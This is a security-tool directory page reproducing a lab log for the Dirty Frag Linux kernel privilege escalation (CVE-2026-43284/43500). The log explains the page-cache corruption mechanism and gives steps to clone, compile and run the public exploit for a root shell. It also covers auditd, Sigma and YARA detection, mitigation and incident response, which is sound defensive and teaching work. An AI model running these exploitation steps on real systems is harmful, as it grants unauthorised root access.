Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Dirty-Frag-CVE-2026-43284 — A report on Dirty Frag, which is a Linux Local Privilege Escalation (LPE) vulnerability chain that allows an unprivileged user to gain root access | Kitploit
Tools/GitHubGitHub/kuniyal08/dirty-frag-cve-2026-43284
Privilege EscalationVulnerability AnalysisExploitationForensicsIntrusion DetectionLearning & EducationIncident ResponseLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
kuniyal08/dirty-frag-cve-2026-43284

Dirty-Frag-CVE-2026-43284

A report on Dirty Frag, which is a Linux Local Privilege Escalation (LPE) vulnerability chain that allows an unprivileged user to gain root access

View Repository
1922 days agoNot yet reviewed

Dirty Frag (CVE-2026-43284 and CVE-2026-43500)

Exploit Reproduction and Detection Lab for a Linux kernel local privilege escalation chain.

Status: VERIFIED. I completed the reproduction, the fileless verification, and the syscall-level detection in the lab (kernel 6.18.9+kali-amd64). This document is a lab log. Every claim below was observed during the reproduction run. The screenshots and artifacts are real captures from the VM.

Table of Contents

  • Overview
  • Why This Matters
  • Technical Details
  • Lab Environment
  • Repository Layout
  • Progress Checklist
  • Reproduction Procedure
  • Detection Engineering
  • Incident Response
  • Mitigation
  • Troubleshooting
  • References and Credits
  • Legal and Ethics

Overview

Dirty Frag combines two deterministic logic bugs in the Linux kernel. These bugs allow an unprivileged local user to overwrite the page cache of read-only files (for example, /usr/bin/su) and obtain a root shell:

Both variants use the same root pattern as Dirty Pipe and Copy Fail. The splice(2) syscall places a reference to a page-cache page of a file into the frag slot of a sender-side sk_buff. The attacker can only read this file. Receive-side kernel code then performs an in-place crypto STORE on top of that frag. This mutates the page cache in RAM. No disk write occurs, so file integrity monitoring (AIDE, Tripwire) cannot see it. The attack is deterministic. It has no race window and no kernel panic on failure.

  • Affected range (per upstream advisory):
    • ESP variant: from cac2661c53f3 (2017‑01) to f4c50a4034e6 (patched 2026‑05‑05)
    • RxRPC variant: from 2dc334f1a63a (2023‑06) to aa54b1d27fe0 (patched 2026‑05‑10)
  • Public PoC: V4bel/dirtyfrag (disclosed 2026‑05‑07)
  • Advisories: CERT VU#980487, Red Hat Bugzilla 2467771
  • Severity (CVSS 3.1, per Canonical): CVE-2026-43284 = 8.8 (High), CVE-2026-43500 = 7.8 (High)

Why This Matters

Dirty Frag is a fileless LPE. It corrupts the in-memory page cache, not the file on disk. Traditional file integrity monitoring cannot see it. Detection must happen at the syscall layer. The chain uses these syscall primitives: socket(AF_ALG)/socket(AF_RXRPC), splice, and unshare(CLONE_NEWUSER|CLONE_NEWNET). The ESP path also creates AF_INET UDP and netlink sockets. This layer is the focus of the detection engineering in this repo.

Technical Details

Both variants use the same sink: in-place crypto that STOREs bytes onto a page-cache page the attacker places with splice(2).

ESP variant (CVE-2026-43284)

  1. The attacker opens a UDP socket pair on loopback and configures the receive side with UDP_ENCAP_ESPINUDP.
  2. He registers a forged ESP wire header (SPI, seq_no_lo, and IV) into a pipe with vmsplice, then 16 bytes from /usr/bin/su at the target file offset with splice.
  3. A single splice pushes the pipe into the send socket. splice_to_socket() sets MSG_SPLICE_PAGES. This places the page-cache page of /usr/bin/su directly into skb->frags[0].
  4. On receive, this sequence runs: xfrm4_udp_encap_rcv, then xfrm_input, then esp_input(). The vulnerable skip_cow branch () bypasses . It performs with the page-cache page as both source and destination.

The attacker controls both the location (splice offset) and the value (4 bytes). Authentication verification runs after the store, so the crypto layer never flags the write. This variant requires CAP_NET_ADMIN and uses unshare(CLONE_NEWUSER|CLONE_NEWNET).

RxRPC variant (CVE-2026-43500)

rxkad_verify_packet_1() performs a single-block pcbc(fcrypt) decrypt directly on the splice-pinned skb frag. It does not copy the data first. The attacker picks a session key (add_key("rxrpc", …)) so that decrypt(ciphertext) equals desired_plaintext. This produces an 8-byte STORE. This variant targets /etc/passwd. It needs no user namespace. It requires the rxrpc.ko module (loaded by default on Ubuntu).

Exploit outcome

The public PoC targets /usr/bin/su. It writes 48 ESP stores of 4 bytes each (192 bytes at file offset 0). It replaces the first page-cache bytes with a static root-shell ELF. The ELF entry point runs setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", …). A single execve("/usr/bin/su") then yields a root shell.

The upstream fix

The ESP patch (mainline f4c50a4034e6) marks page frags that arrive through splice() with the SKBFL_SHARED_FRAG flag. The skip_cow branch in esp_input() now also checks this flag. Shared-frag skbs go through skb_cow_data() before the in-place AEAD decryption.

The RxRPC patch (mainline aa54b1d27fe0) adds an skb->data_len check next to the existing skb_cloned() check. The kernel copies a non-linear skb with paged data before the in-place pcbc(fcrypt) decryption.

Lab Environment

Screenshot of the VirtualBox lab setup:

VirtualBox lab setup

Repository Layout

root@kitploit:~
.
├── README.md                        # this lab log
├── detection/
│   ├── dirtyfrag.rules              # auditd syscall‑level detection rules
│   ├── ausearch_dirtyfrag_observed.txt  # real exploit detection output
│   ├── sigma/
│   │   └── dirty_frag_exploit.yml   # Sigma rule for SIEM detection
│   └── yara/
│       └── dirty_frag_exploit.yar   # YARA rule for PoC code on disk/memory
├── mitigation/
│   └── dirtyfrag_mitigation.sh      # module blacklist + page cache flush
├── poc/
│   └── check_vulnerable.py          # non‑destructive pre‑flight checker
├── reports/
│   └── incident-dirtyfrag.md        # incident response playbook
└── screenshots/                     # real captures from the lab VM

Progress Checklist

  • Pre‑flight: run poc/check_vulnerable.py and confirm kernel/modules/userns
  • Take a VirtualBox snapshot (restore point before exploitation)
  • Create unprivileged testuser
  • Clone and compile the V4bel PoC
  • Run the exploit and verify a root shell
  • Verify fileless: capture the corrupted and the restored /usr/bin/su hashes
  • Clean up the contaminated page cache (drop_caches or reboot)
  • Deploy detection/dirtyfrag.rules and validate auditd alerts
  • Generate Sigma and YARA rules from real auditd output
  • Write the incident response playbook ()

Reproduction Procedure

1. Verify OS and kernel (pre-flight)

root@kitploit:~
cat /etc/os-release | head -3
uname -r

Screenshot of kernel version verification:

Kernel version 1 Kernel version 2

The kernel must be older than the May 2026 fixes (f4c50a4034e6 / aa54b1d27fe0). If you ran apt upgrade after that date, the exploit will fail. See Troubleshooting.

2. Non-destructive vulnerability check

A safe checker reports whether the VM is a plausible target. It checks the running kernel, the presence of the esp4/esp6/rxrpc modules, and whether unprivileged user namespaces are available. The ESP variant requires these namespaces.

root@kitploit:~
python3 poc/check_vulnerable.py

Expected verdict: [*] potentially vulnerable -- proceed in a disposable VM only.

3. Create an unprivileged test user

An unprivileged testuser simulates an attacker without special rights.

root@kitploit:~
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id

Screenshot: id shows UID 1001. This confirms non-root access.

testuser id

4. Clone and compile the exploit

From the unprivileged account:

root@kitploit:~
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

On success, the exploit patches the page cache of /usr/bin/su. It writes 48 ESP stores of 4 bytes each (a 192-byte root-shell ELF at file offset 0). It then drops an interactive root shell with forkpty.

Screenshot of module availability, source review, and clean compile:

Module availability Source review Clean compile

5. Verify escalation

root@kitploit:~
id
whoami

Screenshot: id shows uid=0(root) after ./exp.

Root shell

6. Verify fileless nature (page-cache-only corruption)

sha256sum reads through the page cache. While the exploit's write is active, the hash is different from the original. After a flush, the hash returns to the original. This before/after pair proves that the on-disk binary was never touched.

root@kitploit:~
sha256sum /usr/bin/su     # 1) while page cache is contaminated -> DIFFERENT hash

Screenshot: the hash is different from the package hash (RAM poisoned, disk intact).

Corrupted sha256

Observed corrupted (page-cache) hash: 3fc29078bd77150b5d6fbb368f632bf02c1a3704816f03fb694ec2e81e77bde4

7. Post-exploit cleanup and restoration check (critical)

After exploitation, the page cache contains the corrupted data. Always flush it:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# or reboot the VM

Then verify the restoration (as testuser):

root@kitploit:~
sha256sum /usr/bin/su     # now matches the ORIGINAL package hash
su -                      # prompts for a password again — no auto-root

Screenshot: restored (original on-disk) hash.

Restored sha256

Observed original (on-disk) hash: 2b4f8770bd35bba5cdc5cfe292bc1d988e92ec1786bf91cf83e0e86fac056eb6

After a reboot, dpkg -V util-linux returned no output. The on-disk /usr/bin/su exactly matches the package, so the corrupted 3fc29078… hash existed only in the page cache.

drop_caches may not evict the poisoned page. This happens if a running process still pins the page. In that case, sha256sum and dpkg -V keep showing the corrupted content. The reliable fix is a reboot. Note that dpkg -V also reads through the page cache. While the page is poisoned, it reports ??5?????? (the MD5 is different; size, mode, owner, and mtime all match). It turns silent again after reboot. That proves the on-disk file was never modified.

Flushing does not disable the exploit. It only clears the poisoned page cache. You must disable the modules separately (see Mitigation). Removing already-loaded modules on an exploited host requires a reboot.

Detection Engineering

Dirty Frag is invisible to file integrity monitoring. Detection focuses on the syscall primitives that the chain must use.

auditd rules (detection/dirtyfrag.rules)

root@kitploit:~
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=33 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read

Note: AF_ALG = 38 and AF_RXRPC = 33 on Linux (see /usr/include/bits/socket.h). Earlier drafts used a0=21. That value is incorrect. AF_RXRPC is 33, not 21.

Deploy and verify:

root@kitploit:~
sudo cp detection/dirtyfrag.rules /etc/audit/rules.d/
sudo systemctl restart auditd   # or: sudo auditctl -D && sudo auditctl -R /etc/audit/rules.d/dirtyfrag.rules
sudo auditctl -l

Expected alerts after you re-run the exploit (correlate by PID):

root@kitploit:~
ausearch -k dirtyfrag_af_alg
ausearch -k dirtyfrag_rxrpc
ausearch -k dirtyfrag_splice
ausearch -k dirtyfrag_namespace

Validated detection output

All five rules loaded (auditctl -R, res=1 for each CONFIG_CHANGE). The rules caught the exploit's namespace setup:

root@kitploit:~
time->Wed Aug  5 08:26:37 2026
type=PROCTITLE msg=audit(1785932797.328:592): proctitle="./exp"
type=SYSCALL msg=audit(1785932797.328:592): arch=c000003e syscall=272 success=yes exit=0 a0=50000000 a1=0 a2=0 a3=0 items=0 ppid=5198 pid=5199 auid=1000 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts2 ses=2 comm="exp" exe="/home/testuser/dirtyfrag/exp" subj=unconfined key="dirtyfrag_namespace"

Decoded: syscall=272 (unshare), a0=50000000 equals CLONE_NEWUSER | CLONE_NEWNET, uid=1001 (unprivileged testuser), comm="exp". The full log is in detection/ausearch_dirtyfrag_observed.txt.

Screenshot: ausearch output shows the rule load and the exploit event.

auditd alerts

Detection coverage

Incident Response

The full playbook is in reports/incident-dirtyfrag.md: executive summary, timeline, IoCs, MITRE ATT&CK mapping, containment, eradication, recovery, and lessons learned.

Mitigation

Immediate runtime mitigation. It does not survive a reboot for already-loaded modules (see the note below):

root@kitploit:~
sudo mitigation/dirtyfrag_mitigation.sh

What it does:

  1. Writes /etc/modprobe.d/dirtyfrag.conf to block esp4, esp6, and rxrpc. It includes the blacklist and alias … off lines. A simple one-liner misses these lines (autoload-by-alias still worked otherwise).
  2. Removes the modules if they are currently loaded.
  3. Flushes the page cache to drop any already-poisoned pages.

Impact: disabling these modules makes IPsec VPNs (ESP) and AFS filesystem (RxRPC) functionality stop working.

Permanent fix: upgrade to a kernel that contains the upstream patches. Or blacklist the modules at boot (initcall_blacklist=esp4,esp6,rxrpc).

Troubleshooting

References and Credits

  • Research, discovery, and public PoC: Hyunwoo Kim (@v4bel), V4bel/dirtyfrag
  • Technical write-up: assets/write-up.md
  • CERT/CC advisory: VU#980487
  • Red Hat CVE tracker: CVE-2026-43284 / bug 2467771

Legal and Ethics

This repository is for authorized defensive security research and training only.

  • All reproduction was performed in an isolated VirtualBox VM. We restored the snapshot afterward.
  • Do not run the PoC on systems you are not authorized to test. Unauthorized exploitation may be a criminal offense.
  • The PoC and detection content are published for education. Understanding an attack is the foundation of detecting it. See DISCLAIMER.md for the full statement.

License

See LICENSE. This lab is for educational use in your own isolated environment only. Do not run the PoC on systems you are not authorized to test.

Download Tool
VariantCVESinkTrigger pathNeeds unprivileged userns
xfrm‑ESP Page‑Cache WriteCVE‑2026‑43284crypto_authenc_esn_decrypt() in esp_input()socket(AF_INET) with UDP‑encap, then xfrm_input()Yes (CAP_NET_ADMIN)
RxRPC Page‑Cache WriteCVE‑2026‑43500rxkad_verify_packet_1() (pcbc(fcrypt))socket(AF_RXRPC)No
!skb_cloned() && !skb_has_frag_list()
skb_cow_data()
in-place AEAD decryption
  • crypto_authenc_esn_decrypt() emits a STORE of the high-order 32 bits of the ESN. That value is replay_esn->seq_hi. The attacker chooses this value at SA registration with the XFRMA_REPLAY_ESN_VAL netlink attribute.
  • ComponentDetails
    HypervisorVirtualBox
    Target VMKali Linux 2026.1 (snapshot restored to a vulnerable state)
    Kernel6.18.9+kali‑amd64 (older than the May 2026 fixes)
    Exploit PoCV4bel/dirtyfrag (single C file)
    Detectionauditd (rules in detection/dirtyfrag.rules)
    reports/incident-dirtyfrag.md
    LayerWhat it seesStatus
    auditdAF_ALG and AF_RXRPC sockets, splice, unshare, SUID readsYes. Deployed and validated (rule file detection/dirtyfrag.rules)
    SigmaSyscall patterns for SIEMYes. Rule ready (detection/sigma/dirty_frag_exploit.yml)
    YARAPoC code on disk or in memoryYes. Rule ready (detection/yara/dirty_frag_exploit.yar)
    FIM (AIDE/Tripwire)File changesNo. Blind, because no disk write occurs
    SymptomLikely causeFix
    ./exp prints failed / post-write verify failedKernel is patched (from May 2026 or later)Boot an older kernel or restore a pre-update snapshot. Re-check with poc/check_vulnerable.py
    unshare(CLONE_NEWUSER) returns EPERMUnprivileged user namespaces disabled (AppArmor or sysctl)Check sysctl kernel.unprivileged_userns_clone. On Ubuntu, check AppArmor. Kali allows it by default
    esp4/esp6/rxrpc not loadedModules not availablesudo modprobe esp4 esp6 rxrpc (RxRPC auto-loads with socket(AF_RXRPC))
    su binary "patched" but no root shelldrop_caches already ran, or page cache pinned by processesRe-run the exploit. If stuck, reboot the VM
    Exploit ran, then still root-able after mitigationPage cache not flushed, or modules already loaded before blacklistecho 3 > /proc/sys/vm/drop_caches. Full stop requires reboot